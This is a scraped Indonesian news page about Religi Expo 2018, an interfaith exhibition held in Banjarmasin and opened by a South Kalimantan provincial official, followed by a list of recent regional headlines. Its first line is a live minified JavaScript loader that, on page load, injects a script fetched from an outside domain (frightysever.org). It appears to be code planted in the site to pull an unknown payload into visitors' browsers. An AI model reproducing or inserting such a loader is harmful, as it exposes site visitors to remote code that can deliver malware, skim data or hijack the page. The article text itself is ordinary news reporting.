(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Ragam

Religi Expo 2018, Menjaga Keberagaman Lintas Agama di Kota Seribu Sungai


BANJARMASIN, Religi Expo bertema “Warna-Warni Banua Harmoni, Bergerak Perkokoh Kebangsaan” berlangsung di halaman eks Kantor Gubernur Kalsela, Sabtu dan Minggu (3-4 November 2018).

Dibuka secara resmi Asisten III Setdaprov Kalsel Drs H Iriansyah MSi dihadiri tokoh lintas agama dan tokoh masyarakat.

Rafiqah, panitia Religi Expo mengatakan, di tengah memudarnya nilai kebersamaan sekarang ini, religi expo 2018 digagas Lembaga Kajian Keislaman dan Kemasyarakatan (LK3) yang merupakan pagelaran kali keempat.

“Untuk mewujudkan keberagaman seni dan budaya lintas agama serta mempromosikan perdamaian di Kota Seribu Sungai. Diikuti 37 peserta, angka keikutsertaan peserta ini selalu bertambah dari tahun ke tahun,” ujarnya.

Tujuan lain dari religi expo ini adalah untuk menciptakan Kalsel yang damai dan kondusif, karena kegiatan seperti religi expo ini masih sangat terbatas di Kalsel.

“Menjadi media edukasi tentang indahnya kebersamaan dan keberagaman bisa berjalan beriiringan. Serta menjadi wahana kreativitas baik dalam peran agama, suku, pendidikan di ruang publik,” jelas Rafiqah.

Dalam kegiatan ini ada 75 persen stand dari berbagai agama, komunitas perempuan dan pemuda, komunitas agama, serta lembaga pendidikan berbasis agama. Sementara 25 persen lainnya adalah stand komersil.

“Kita ingin menumbuhkan kebersamaan dan menjaga pentingnya keberagaman umat beragama lewat expo ini. Membuka jaringan seluas-seluasnya agar kita mempunyai kawan untuk menyuarakan tentang isu-isu perdamaian lintas agama,” bebernya.

Asisten III Setdaprov Kalsel mengatakan, religi expo karena menjadi momentum untuk memperkenalkan seni dan budaya lintas agama. Di samping itu religi expo juga menjadi salah satu hal yang bisa meningkatkan daya tarik pariwisata. Ia berharap generasi muda lebih kreatif dan inovatif dalam menunjukkan karya seni budaya lintas agama Kalsel. “Apalagi saat isu-isu SARA dalam tahun politik semakin menguat,” ujarnya. (mario)

Reporter: Mario
Editor: Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

13 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

16 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

20 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

20 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

20 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

22 jam ago

This website uses cookies.